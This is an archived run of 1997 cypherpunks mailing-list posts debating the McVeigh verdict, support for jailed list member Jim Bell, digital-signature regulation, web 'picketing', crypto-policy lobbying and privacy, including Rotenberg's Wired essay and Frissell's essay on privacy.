MESSAGE----- In <339381FA.2781 at ai.mit.edu>, on 06/02/97 at 10:31 PM, Hallam-Baker said: >Again why the sudden concern for the mechanisms of justice >when one white guy is found guilty of murdering 167 people? Because it is all an evil white conspiracy. We are all out to get you, to enslave, humiliate, and degrade you. This is not done out of hate but sheer boredom. Ruling the world is not all that it's cut out to be. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5ORrY9Co1n+aLhhAQGo6AP/Q0m/OKYkJMmG1qtboq79Cy3wBqme8QkX ociZs4u4YzygS31/wt8ffTgqNpMZ7E36UUY7S3hLopxp+QPBHVIr2KK7k0pzleRj tkSzOwEWmHESxsP/fBRBPTR7tBvReIC+tVA2jKgYk55Go8KVeECjB00TsPF51p1T OX1XykHiu1I= =AlhG -----END PGP SIGNATURE----- From whgiii at amaranth.com Mon Jun 2 21:22:01 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 12:22:01 +0800 Subject: McVeigh In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: <199706030405.XAA25918@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <3393682D.167E at ai.mit.edu>, on 06/02/97 at 08:41 PM, Hallam-Baker said: >Anonymous wrote: >> >> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1 at popmail.firn.edu wrote: >> > Timothy McVeigh was found guilty on all counts today. I am not >> > surprised. People will believe anything the govt. says, and besides, >> > the governments lawyers were obviously more expensive than McVeigh's. >> > This is a sad day for all anti-government haters. >> >> Yes, poor Tim Mcveigh. If he's innocent then he is one more victim >> of the OKC bomber. >I'm surprised at the concern. After all I've not noticed militia >supporters and appologists speaking out against the death penalty. >If one is driving away from the scene of the biggest single terrorist >incident on US soil one is probably well advised to both have license >plates on the car and not be carrying unlicensed firearms. If one is >arrested its probably not advisable to counter interrogation by refusing >to give more than name rank and serial number, a request to see a lawyer >is probably a more sensible choice. >The one problem I have with the trial is the leaking of the >defense notes. I suspect that they are genuine and that McVeigh really >did confess. In the UK publication would be barred for the duration of >the trial and heavy jail sentences imposed since the right to a fair >trial is considered a reasonable justification for a temporary bar on the >right to free speech. However I would not argue that the trial be halted >as a result since one >possible explanation is that the defense saw that there was no chance of >aquital and gambled on gaining a mistrial. >$10 million for 5 days of defense evidence tends to suggest that there >was not much evidence to show. >Appologists for McVeigh should consider that his actions did not advance >the militia cause an iota, it destroyed it and along with it much of the >right wing fringe. It forced Rush Limbaugh off television and many right >wing hosts off radio. The sympathy shown for the bomber's motives made >the country aware that it did not share the anti-government sentiment. >Clinton's poll recovery dates precisely from the moment of the Oaklahoma >bomb. If you read the propaganda being generated durning the budget >impasse its pretty ovbvious that Clinton was successful in portraying >Newt as a legislative version of McVeigh, Newt had of course alligned >himself with the most extreme of the talk show hosts Liddy and Limbaugh >when he became speaker. >McVeigh ripped the heart out of the militia movement, he demonstrated >what it was really about. Ironically the Oaklahoma bombing may have had >precisely the effect McVeigh desired but in a very different sense. It >was a wake up call to defend the country from fascism but the fascist >threat was McVeigh and the millitia movement. >The millitia movement have only two possible scripts at this point and >one might well be denied them. They can either admit the nature of their >cause and claim McVeigh as a martyr, this probably guarantees them >extinction but then again Hitler recovered from the beer hall putsch. >Alternatively they can loudly claim that McVeigh was "framed" in the >same way that other neo-NAZIs on the net claim the holocaust a fake, i.e. >so that nobody really believes it. I suspect that this script will be >denied them because it would require McVeigh to go to the execution >chamber proclaiming his innocence and this is something he has curiously >failed to do so far. I'm not >a trained psychologist but my experience in this area suggests that a >claim of responsibility and publication of some >document that serves as a political manifesto is very likely. It an ego >thing... That's right Phil you can sleep better now that all the evil millitia have been distroyed. I'm sure you woun't mind when the Constitution is gone too. Nothing to worry about after all you have Bill Clinton and his buddies to make sure your safe. They said they would and they would never lie. I'm sure if you were in Germany during the 30's that you would have thought the "Jewish Solution" was a good thing after all the government said it was. Or perhaps you would have felt more comfortable in Russia at the same time when Stalin was trying to outdo Hitler in mass murders. After all it was the government doing the murders so it must be ok. They said it was and they wouldn't lie would they? That's ok Phil 1 little white boy will fry in the electric chair. But just maybe your children will never have to know what it's like to live under a Hitler or a Stalin because there are some in this country who are willing to standup to the STATEST in DC who if given the chance will enslave us all. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5OYhY9Co1n+aLhhAQHXpgQAqel2wojocEVBvorkFOB7laazTnSWiUpb uKDnS1JZpVTnuO12dTgtAlbCHdolBqQ3DexfpArOygc+i+y3ZgTsDYpWTxkQkHLG a0cW0OXKID+8IT/Vkx3epjMDdTcudLI6tInH/gwpGO6D/ELhisXzWglahrk2dU+P WTXXrNdO3f8= =ZPQq -----END PGP SIGNATURE----- From declan at pathfinder.com Mon Jun 2 21:33:49 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 3 Jun 1997 12:33:49 +0800 Subject: Jim Bell defense fund In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net> Message-ID: On Sun, 1 Jun 1997, Greg Broiles wrote: > > Has anyone talked to Jim to find out what he wants? I wouldn't be surprised Jim isn't easily reachable by phone at the moment. > Is he currently represented by a court-appointed attorney? Are they working > out of the federal public defender's office, or are they in private Yes. He is being represented by a Federal public defender, who indicated to me he would appreciate whatever help the cypherpunks could provide. -Declan From whgiii at amaranth.com Mon Jun 2 21:37:16 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 12:37:16 +0800 Subject: From Inter@ctive Week: Denning no longer backing key escrow? In-Reply-To: <199706030134.VAA19660@homeport.org> Message-ID: <199706030417.XAA26059@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706030134.VAA19660 at homeport.org>, on 06/02/97 at 08:34 PM, Adam Shostack said: >I think that this is an inappropriate attack, really. Dorothy is not an >idiot, and I don't think her opinions are for sale. She fell in with a >bad crowd that sold her a bill of goods. She's getting over it. >Sheesh. Sheesh is right!! Dorothy is a boot licking government toad, period. Whatever reputation capital she may have aquired as a cryptologist she burned up with her continued support of the numerous darconian plans of the government. I am really amazed that anyone pays any attention on what she has to say as I doubt that she is capable of adding anything of importance regardless of who is paying her to say it. >| Will Rodger wrote: >| > Here's an interesting question: >| > What happens when your star technical witness tells others she's no longer >| > your witness at all? >| >| > Denning now says she has doubts... >| > "Maybe export controls should be lifted," Denning said. "But I'm not saying >| > that all controls should be lifted. I've gotten into a state where I don't >| > know and I'm not sure that I ever knew." >| >| Translation: Denning is waiting for the check from Sun Microsystems >| to clear before she finally makes up her mind. >| >| TruthMonger >| - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5ObeI9Co1n+aLhhAQH3vwP/TGO74ZYXzT2o94Pva1qzsBjMw27xwjeL ry6tIbyIl+4VO+DTwD/4gFXraH19q26MThVg7ntalgUVuoGXApbu+Nv3KJ25Vc7/ 5oLj0w5F3LzY+99hwj1ZrlzOg9ynYUaCAQBHI8LcvQyd9TOhuWNhQkahHN81hn18 OdRndBJeOT8= =obgz -----END PGP SIGNATURE----- From ichudov at algebra.com Mon Jun 2 21:48:39 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 3 Jun 1997 12:48:39 +0800 Subject: Jim Bell defense fund In-Reply-To: Message-ID: <199706030435.XAA04743@manifold.algebra.com> Declan McCullagh wrote: > On Sun, 1 Jun 1997, Greg Broiles wrote: > > Is he currently represented by a court-appointed attorney? Are they working > > out of the federal public defender's office, or are they in private > > Yes. He is being represented by a Federal public defender, who indicated > to me he would appreciate whatever help the cypherpunks could provide. Declan, it would be great if you could find out how exactly we can help jim bell, for instance where can we send $$. Thank you. - Igor. From tien at well.com Mon Jun 2 22:04:46 1997 From: tien at well.com (Lee Tien) Date: Tue, 3 Jun 1997 13:04:46 +0800 Subject: CA dig sig Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >Date: Mon, 2 Jun 1997 01:21:59 -0400 >From: Ben Wright >Subject: California signature regs >To: CA-DIGSIG > >+----------------------------------------------------------------------+ >This message was addressed to: ca-digsig at lists.commerce.net >+----------------------------------------------------------------------+ > >See . The California Secretary of >State proposes regulations under California's digital signature act. The >regs allow for two types of technologies -- public key crypto and signature >dynamics (a method for securely binding measurements of a handwritten >autograph to an electronic document). > >--Ben Wright >Author, The Law of Electronic Commerce > >Ben_Wright at compuserve.com -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQA/AwUBM5OjBrk2KqHYSFEtEQIZlgCg54ppki6gxo85Iz4jrGVWptpfDKgAoPHi YNkQ6Z+NMo/f7sieToDJje4Z =zH6K -----END PGP SIGNATURE----- From frantz at netcom.com Mon Jun 2 22:52:42 1997 From: frantz at netcom.com (Bill Frantz) Date: Tue, 3 Jun 1997 13:52:42 +0800 Subject: Webpage picketing?... In-Reply-To: <199706030135.UAA13557@einstein.ssz.com> Message-ID: At 6:35 PM -0700 6/2/97, Jim Choate wrote: >I have been looking at how to impliment picketing on the web. To date I have >been unable to come up with a way to force a connection to one machine to go >through a third machine in order to express some view about the original >target. > >This idea came to me while watching some folks picket a local grocer over >something I couldn't make out (the signs were poorly done). It occured to me >that since one could argue that the links between sites are public avenues a >site could 'picket' another site. The question became at this point, how? Use the same techniques as the anonymoizing web proxies. They re-form the URLs in web page links, so you always go thru the proxy. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From frantz at netcom.com Mon Jun 2 23:01:29 1997 From: frantz at netcom.com (Bill Frantz) Date: Tue, 3 Jun 1997 14:01:29 +0800 Subject: Comments on the Macintosh In-Reply-To: Message-ID: Vinnie wrote: >Tim,.I am suprised to hear you whining with such a liberals voice.. I >always thought that demanding memory protection in an OS is a lot like >demanding that the government is responsible for protecting you from >anything that might go bad.. If applications are well written, then you >really dont need the memory partitions in a personal computer. Hi Vinnie. I'm with Tim on this one. While I have strong feelings about locking up people, I have no compunctions at all about locking up program-instances. If I can contain the instances, and especially keep them limited in their file access, I can do a bunch to control viruses and other nasties. (BTW - Linux, like all Unixes is piss poor at limiting file system access.) Best Regards - Bill ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From lucifer at dhp.com Mon Jun 2 23:17:56 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Tue, 3 Jun 1997 14:17:56 +0800 Subject: McVeigh Message-ID: <199706030603.CAA22498@dhp.com> Hallam-Baker, realizing he is a soft target, wrote: > Appologists for McVeigh should consider that his actions did not > advance the militia cause an iota, it destroyed it and along with > it much of the right wing fringe. Or perhaps just sent more people underground. Many remarked that the Jim Bell arrest chilled the free speech of many list members but there are now at least two active AP Bots on the internet. I haven't noticed anybody "apologizing" for McVeigh or Bell. There are merely those who act or who don't act. TruthMonger From jal at acm.org Mon Jun 2 23:25:48 1997 From: jal at acm.org (Jamie Lawrence) Date: Tue, 3 Jun 1997 14:25:48 +0800 Subject: [fwd] California digital-signature proposed regulations Message-ID: --- begin forwarded text Date: Mon, 2 Jun 1997 09:40:30 -0800 To: [...] Subject: [fwd] California digital-signature proposed regulations >Date: Mon, 2 Jun 1997 01:21:59 -0400 >From: Ben Wright >Subject: California signature regs >To: CA-DIGSIG > >+----------------------------------------------------------------------+ >This message was addressed to: ca-digsig at lists.commerce.net >+----------------------------------------------------------------------+ > >See . The California Secretary of >State proposes regulations under California's digital signature act. The >regs allow for two types of technologies -- public key crypto and signature >dynamics (a method for securely binding measurements of a handwritten >autograph to an electronic document). > >--Ben Wright >Author, The Law of Electronic Commerce > >Ben_Wright at compuserve.com > > > >------------------------------------------------------------------------- >This message was sent by a majordomo-based automatic list manager. >Subscriptions to and archives of this list are available to any person >or organization. For further information send a mail message to >'ca-digsig-request at lists.commerce.net' with 'help' (no quotations) >contained in the body of your message. > --- end forwarded text -- "This analogy is like lifting yourself by your own bootstraps." -Douglas R. Hofstadter _______________________________________________________________ Jamie Lawrence jal at acm.org From shamrock at netcom.com Mon Jun 2 23:43:09 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 14:43:09 +0800 Subject: Jim Bell defense fund In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net> Message-ID: <3.0.2.32.19970602233152.03a7d634@netcom13.netcom.com> At 12:19 AM 6/3/97 -0400, Declan McCullagh wrote: > > >On Sun, 1 Jun 1997, Greg Broiles wrote: > >> >> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised > >Jim isn't easily reachable by phone at the moment. Can he be visited? Perhaps there is a CP near him that could go and ask? --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From shamrock at netcom.com Mon Jun 2 23:50:02 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 14:50:02 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: <3.0.2.32.19970602233822.03a70774@netcom13.netcom.com> At 05:06 PM 6/2/97 -0500, Marc Rotenberg wrote: >Like I said, Tim May et al are behind the >curve. You guys preach cyber anarchy but >you're really armchair activists. Methinks Marc has no idea what many of us do in their day jobs, much less what we do in our spare time. But who cares. All that matters is that we get more tools out faster. On that note...back to work. --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From shamrock at netcom.com Mon Jun 2 23:53:07 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 14:53:07 +0800 Subject: McVeigh In-Reply-To: <33934A8F.6114@popmail.firn.edu> Message-ID: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com> At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote: >Appologists for McVeigh should consider that his actions did not >advance the militia cause an iota, it destroyed it and along with >it much of the right wing fringe. "Follow the money" is usually sound advice. More general, ask "who benefits". Clearly, the constitutional militias and civil libertarians are the losers of the Oklahoma bombing. The sole benefactors are the statists and numerous government agencies. 'Nuff said, --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From ichudov at galaxy.galstar.com Tue Jun 3 00:23:01 1997 From: ichudov at galaxy.galstar.com (Igor Chudov) Date: Tue, 3 Jun 1997 15:23:01 +0800 Subject: test1 Message-ID: <199706030712.CAA29408@galaxy.galstar.com> hello From paul at fatmans.demon.co.uk Tue Jun 3 01:00:56 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Tue, 3 Jun 1997 16:00:56 +0800 Subject: May's Banal Rant In-Reply-To: Message-ID: > >so often suggested, analogous to "use of a gun" in a crime, nor to "use of > >the public mails." It is much closer to the examples I cite, language and > >religion, than to use of a publicly-regulated monopoly like the telephones > >or the mail. The gun situation is presumably related to the threat of > >bodily harm...I'm not saying I agree with "use a gun, go to prison" > >sentencing enhancements, but a stronger case can be made than for "use a > >cipher, go to prison. > > I don't need the lecture. I've made the argument better than > you have and I've made it longer than you have. Here we go, you have now given up on even attempting rational argument (not that you ever managed to achieve it in the first place) and turned to throwing insults and derogatory statements. I think more than anything else your comment yesterday about SSNs and private retailers indicates your need for lectures. > I don't recall > you protesting the Computer Fraud and Abuse Act (1984), > working on the RTM case (a CFAA prosecution in 1988). You > weren't involved in the FOIA case for 2600. Don`t parade your experience of contesting cases within the system to me, I`m not remotely impressed. You, along with EPIC, along with all the other alphabet groups, have sold out to compromise, not because you intended to, but because that is the natural state to which such lobbying groups "evolve" when working with people who do not understand the nature of individual rights. Playing the game with the jackbooted motherfuckers and their masters in DC is the worst possible way to go about protecting our rights. > >a. denouncing any "return address" requirements and refusing to cooperate > >with any Congressthing who espouses such wrong-headed ideas > > Great plan. I'll watch TV and let Congress pass a bill > requiring mandatory identification for Internet users. > Really clever. This really isn`t the point, if you compromise, as you probably will, and we end up with a SAFE like "crypto in commision of a crime" provision we have gone up one step and down two. There can be no dealing with Washington nor any of the other cancers that have taken over the USA, removal is the only solution. > I'm probably in a much better position to criticize the failure > of Tim May et al to stand up for crypto freedom than the other > way around. I don`t think so somehow, the cypherpunks, of whom Tim May was one of the founding memebers, have had effects in the past, not normally in legislative circles but in terms of getting the technology out there and available. The only solution is technical bypassing of the law, this along with other cypherpunkish ideas such as fully anonymous digital cash, chaumian mixes, uncensorable information sources, pseudonymity, DC-Nets etc.. will result in citizens being able to bypass state restrictions and disobey laws, in time it may even result in the downfall of the state. > >Being a rejectionist, I don't see the point of dealing with Congress. The > >usual view is that "If you don't get involved, things will be even worse." > >I'm not convinced of this. It's often better to not lend them any support, > >not lend them any technical expertise, and devote all energies to > >undermining and challenging their actions later. > > And the existence proof of this proposition is . . . You simply cannot reason with criminal poloticians, circumventing their restrictions and undermining the state is the way to go. > >And helping them draft legislation only feeds the process. > > > >I think it was George Carlin who said, "If you think you're part of the > >solution, you're part of the problem." > > Good high school humor for a good high school philosophy. Keep trying. > I am underwhelmed. I am unsuprised. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From gbroiles at netbox.com Tue Jun 3 01:15:37 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 3 Jun 1997 16:15:37 +0800 Subject: Jim Bell defense fund In-Reply-To: Message-ID: <3.0.2.32.19970603010058.007cf100@mail.io.com> >>> Has anyone talked to Jim to find out what he wants? >>Jim isn't easily reachable by phone at the moment. > >Can he be visited? Perhaps there is a CP near him that could go and ask? He likely has access to a pay phone; if so, he can probably make collect calls, and maybe calling-card calls. The easiest way to talk to him on the phone will be to send him a letter, telling him your phone number, and telling him that you'll accept the charges if he calls you collect. The phone call will be expensive - many jails set up sweetheart deals with sleazy long-distance companies to handle all outgoing long-distance calls. Since the prisoners can only call collect, and only with the one phone company, if you want to talk to them, you pay the rate charged. :( It's probably possible to visit him in person, although there's a good chance it'll be via a (monitored) closed-circuit phone and plexiglass screen. Most jails limit "contact" visits to attorneys. Likewise, anything that's mailed to him will be opened, read, and inspected before he sees it, unless it's from his attorney. Metal things (like staples and paper clips) will be removed. It's probably possible to send a small amount of money (< $20, or so) to the jail where he's held to be placed in his trust account, which he'll be able to use to buy stamps, stationary, cigarettes (does he smoke?), toiletries or maybe food from the commissary. It's also sometimes possible/necessary to provide him with a change of clothes, if/when this gets to a jury trial. Most jails won't let you mail books to prisoners, but will accept books (sometimes only softcover) if they're mailed directly from publishers. If he's got an attorney from the federal PD's office, he doesn't need money for his defense - it won't help, and might just screw things up. I don't think the PD's office would even accept it. The best thing to do is find out where he's being held (seems like the early report(s) said he was in a county jail in Tacoma? - sometimes county jails hold prisoners on federal charges, and bill the feds for it) and call there and ask what you can do, how you can write to him, if you can send him stuff, what the visiting hours are, etc. If someone does talk/write to him, you should remember that there's a strong possibility that your communication(s) will be monitored/recorded, and that anything he says/writes may be admissible against him at trial. Welcome to America. This is what we do to people before they even get a trial. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From shamrock at netcom.com Tue Jun 3 02:52:27 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 17:52:27 +0800 Subject: [Noise] Internet makes niche markets possible Message-ID: <3.0.2.32.19970603024814.006e7e2c@netcom13.netcom.com> [The following post has zero crypto relevance.] We all have heard much rhetoric concerning the Internet enabling the creation of niche markets. Markets that wouldn't exist otherwise, since potential sellers would not be able to reach a sufficient number of potential buyers to make production of a good profitable. But how many instances such newly created markets are you aware of? Well, I discovered a rather sweet example. You really like M&M's. You know: the round chocolate candy that melt in your mouth, not in your hand. The only problem is, you don't like the standard colors. You would much rather have all blue M&M's or, better yet, a bag containing only teal and light pink. Since the market for teal or light pink M&M's is marginal, the maker of M&M's does not include these colors in the bags one can purchase at nearest corner store. What to do? Voil�, the Internet to the rescue. Mars, the worldwide candy powerhouse and manufacturer of M&M's, decided to tap this newly possible business opportunity by offering custom colored M&M's through their webpage at http://www.m-ms.com/ A Shockwave applet allows you to combine your favorite colors and order the candy mix of your choice. Finally, teal M&M's are yours to indulge. Enjoy, --Lucky Green PGP encrypted mail preferred. Put a stake through the heart of DES! Join the quest at http://www.frii.com/~rcv/deschall.htm From declan at pathfinder.com Tue Jun 3 06:11:37 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Tue, 3 Jun 1997 21:11:37 +0800 Subject: Rotenberg or Berman? (was Re: e$: Beltway piglets and other barnyard animals) In-Reply-To: Message-ID: This is a crucial point. Rotenberg != Berman. As much as I like individuals at CDT, I disagree fairly often with the organization's position. CDT supported the so-called "compromise" that would have replaced the CDA's indecency provision with a ban on material that's "harmful to minors." They've done the wrong thing on Digital Telephony in many cases -- helping phone companies suck in $$$ to make their systems wiretappable more than helping civil liberties -- and continue to do so. They're now silent (read the latest CDT post) on the many problems with SAFE. Then again, CDT may not be good on individual rights in the examples above but they don't support Rotenbergesque privacy regulations either. Again: issue-by-issue alliances. -Declan On Sun, 1 Jun 1997, Lee Tien wrote: > Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC. > > Bob may be thinking of Jerry Berman, who ran EFF for a few years, was > involved in its actions re Digital Telephony, and then left to start up > CDT. From rotenberg at epic.org Tue Jun 3 06:55:58 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Tue, 3 Jun 1997 21:55:58 +0800 Subject: Rotenberg as the Uber Enemy In-Reply-To: Message-ID: >>I'd also appreciate some comment/criticism on >>the piece I did for Wired. > >Could you post the URL, please, in case it is available on the web? > >Thanks, > > UM http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html Eurocrats Do Good Privacy Marc Rotenberg Late last November, David Chaum received the Information Technology European Award for 1995. The prize, given for DigiCash's ecash technology, consisted of a trophy plus 200,000 ecu (approximately US$250,000). Chaum is best known for the development of anonymous payment schemes that are becoming increasingly popular in Europe for everything from online commerce to highway toll systems. At about the same time that Chaum received the prestigious award, Phil Zimmermann, inventor of the popular Pretty Good Privacy encryption program, sat in his Boulder, Colorado, home wondering whether the US government would make good on its threat to prosecute him for trafficking in munitions. Although federal prosecutors announced recently that they will drop the case against Zimmermann, the prospects that he will get a big cash award from the US government anytime soon are less than slim. The contrast between a decorated cryptographer in Europe and one trying to avoid prosecution in the United States is more than curious. It shows that governments, at least some governments, can be a force for progress in the crypto world. Reread that sentence. It is not conventional wisdom in the United States. Cyberlibertarians have been unrelenting in their opposition to any federal role in crypto policy. Free marketers argue simply that there is no place for government in the development of high-tech products. Cyberanarchists seem to doubt whether there is any role at all for government. Of course, the Clipper debacle provides plenty of ammunition for these arguments. Clipper combined in equal measure government arrogance, technological incompetence, and profound disregard for the rights of citizens. As an exercise in public policy, it ranks somewhere between the Bay of Pigs and the CIA's experiments with psychics. But the recent European experience should give pause to these allies in the battle for online privacy. Not only are European officials at the highest levels prepared to embrace technologies of privacy, they have almost uniformly opposed US-inspired surveillance schemes such as Clipper. Two recent reports are indicative. In "Privacy-Enhancing Technologies: The Path to Anonymity," the Netherlands and the Canadian province of Ontario call for an exploration of new technologies to promote privacy. Similarly, Anitha Bondestam, director general of the Data Inspection Board of Sweden, writes in a recent report, "It is more important than ever to bring back anonymity and make more room for personal space." She urges her colleagues to sharply limit the collection of personal data. This is bold stuff coming from government officials. Put on the privacy spectrum in the United States, these statements are far closer to the position of many cypherpunks than to that of any officials currently developing privacy policy. In the United States, to the extent that the federal government has said anything about anonymity, the script is written by the Treasury Department's Financial Crimes Enforcement Network, which is charged with investigating money laundering. Not surprisingly, FinCEN warns that electronic cash will usher in a new era of criminal activity. It doesn't have to be this way. The reality of modern society is that government officials make decisions every day about the rights of citizens. The question is whether they favor proposals that respect privacy and personal dignity or not. Compared with governments that lack privacy officials, governments that have privacy officials have repeatedly weighed in favor of privacy interests. Viewed against this background, many of the European privacy regulations, often criticized by libertarians, should be seen for what they are - sensible responses of governments that value their citizens' privacy rights. In such societies, technical means to protect privacy will be adopted - not viewed with skepticism. Is the European system perfect? Of course not. Are the Europeans doing a better job than Americans of promoting the technologies of privacy? Just ask David Chaum and Phil Zimmermann. -Marc Rotenberg is director of the Electronic Privacy Information Center (www.epic.org/). From trei at process.com Tue Jun 3 07:05:19 1997 From: trei at process.com (Peter Trei) Date: Tue, 3 Jun 1997 22:05:19 +0800 Subject: Webpage picketing?... Message-ID: <199706031316.IAA15007@einstein.ssz.com> Jim Choate wrote: > Hi, > > I have been looking at how to impliment picketing on the web. To date I have > been unable to come up with a way to force a connection to one machine to go > through a third machine in order to express some view about the original > target. > > This idea came to me while watching some folks picket a local grocer over > something I couldn't make out (the signs were poorly done). It occured to me > that since one could argue that the links between sites are public avenues a > site could 'picket' another site. The question became at this point, how? > > So far I have been unable to figure a way out. Any ideas you might care to > share with us all? > | No people do so much harm as those who go about doing good. Jim: I know you've been on this list for quite some time, but this is not only impossible (as you would know if you understood the technology involved); it's also highly undesirable. You may dislike one of the sites linking to yours, but you really can't hijack their connections and force people to listen to you who don't want to. Imagine if you could! Anyone who dislikes any other page on the web could block access - 'right to life' groups could hijack connections to Planned Parenthood, a church site could block playboy.com for the entire world, any government could extend it's domestic censorship standards to the entire net. Pepsi could block links to Coke. There are two things you *can* do. 1. You can put a disclaimer on your page "If you linked here from XXX.XXX.XXX, please be aware that I object to that connection for the following reasons..." 2. If you or your webmaster have any kind of technical sophistication, you can force links to your page to go to a CGI script, which uses the HTTP-referrer: header to provide different pages depending on the source of the connection. I suspect that Ticketmaster is doing something like this in blocking links from MSN. But please, don't try to extend the 'information superhighway' (blech!) metaphor to include virtual sidewalks with picketing rights - this is silly. A better metaphor for what you want to do would have a church groups insist that all mailings from Planned Parenthood diverted to them, so that they can insert their own fliers into the envelopes. Peter Trei trei at process.com Disclaimer: The above represents my opinion only. From frissell at panix.com Tue Jun 3 08:17:05 1997 From: frissell at panix.com (Duncan Frissell) Date: Tue, 3 Jun 1997 23:17:05 +0800 Subject: Why Privacy Message-ID: <3.0.2.32.19970603105437.0072b4dc@panix.com> -----BEGIN PGP SIGNED MESSAGE----- Here's one of my old essays that I found while doing disk cleanup: WHY PRIVACY? The last few years have been bad ones for privacy in America. As of June 1st, 1987 it became a crime to hire anyone, even your own child, who does not present identification cards. The "drug" laws passed in recent years require ever more detailed reporting of smaller and smaller cash transactions. Any children over the age of two who are to be claimed as dependents on their parent's tax returns now need Social Security numbers. I suppose that with all this new prying there will be less illegal drug use and everyone will pay their fair share of taxes although past restrictions on privacy did not seem to reduce these problems. We seem headed for a National Identity Card system. According to government officials promoting ID cards, the main argument in favor of this radical step is that the law-abiding would have nothing to fear from it. This seems a curious argument for the proponents of such a dramatic change in the relationship between the people of the U.S. and their government since it fails to state any benefit for the law-abiding either. The fact is that the argument is false. The law-abiding have a great deal to fear from all invasions of their privacy by the minions of the state. If the history of this century has proved anything, it has proved that the innocent have far more to fear from government than the guilty. Why guard the privacy of the innocent (the guilty can and will take care of themselves)? After all the enforcers say, "If you have nothing to hide, you don't need privacy." The answer should be obvious, "The innocent won't know what they have to hide until it's too late." The reason to value privacy is simply that we know from the most casual reading of the history of Europe that every sort of person has at certain times and in certain places been killed because of what others knew about them. Over the last 400 years, within the confines of Europe, peasants, workers, aristocrats, bourgeois shopkeepers, Jews, Protestants, Catholics, Communists, Nazis, anarchists, monarchists, and others have faced death simply because of what they were. These people may have gone about their business in seeming safety for years until a change in circumstance marked them for death. By then it was too late for them to hide their selves. This is why privacy must be valued. It may be that every single one of the millions of current employees of the international, national, state, and local governments who will make use of the information collected about us is a noble human being without a tyrannical bone in his (or her) body but we cannot guarantee the future. The average American has some forty years of life left and forty years is a long time in the life of today's nations. There may come a time within those forty years when innocent information surrendered to the state will mean death. No nation is immune to domestic or foreign tyrrany, given the fluid nature of modern politics. To make the abstract concrete, how was it that the Nazi government of Germany identified Jews for extermination? It proved to be a simple matter of consulting local records. Did the Jewish mother and father in 1880 or 1900 or 1920 realize when they listed their child's religion on birth records in full compliance with the law that they were condemning that child to death? Or what about the passport. Promoted at the beginning of this century as a means of easing international travel and safeguarding the passage rights of neutrals, it has become a major impediment to international travel and even a threat to life. If one is on board an airliner with armed Palestinian terrorists, would one rather be carrying an American, Israeli, British, Swiss, or Syrian passport? -----BEGIN PGP SIGNATURE----- Version: 5.0 beta 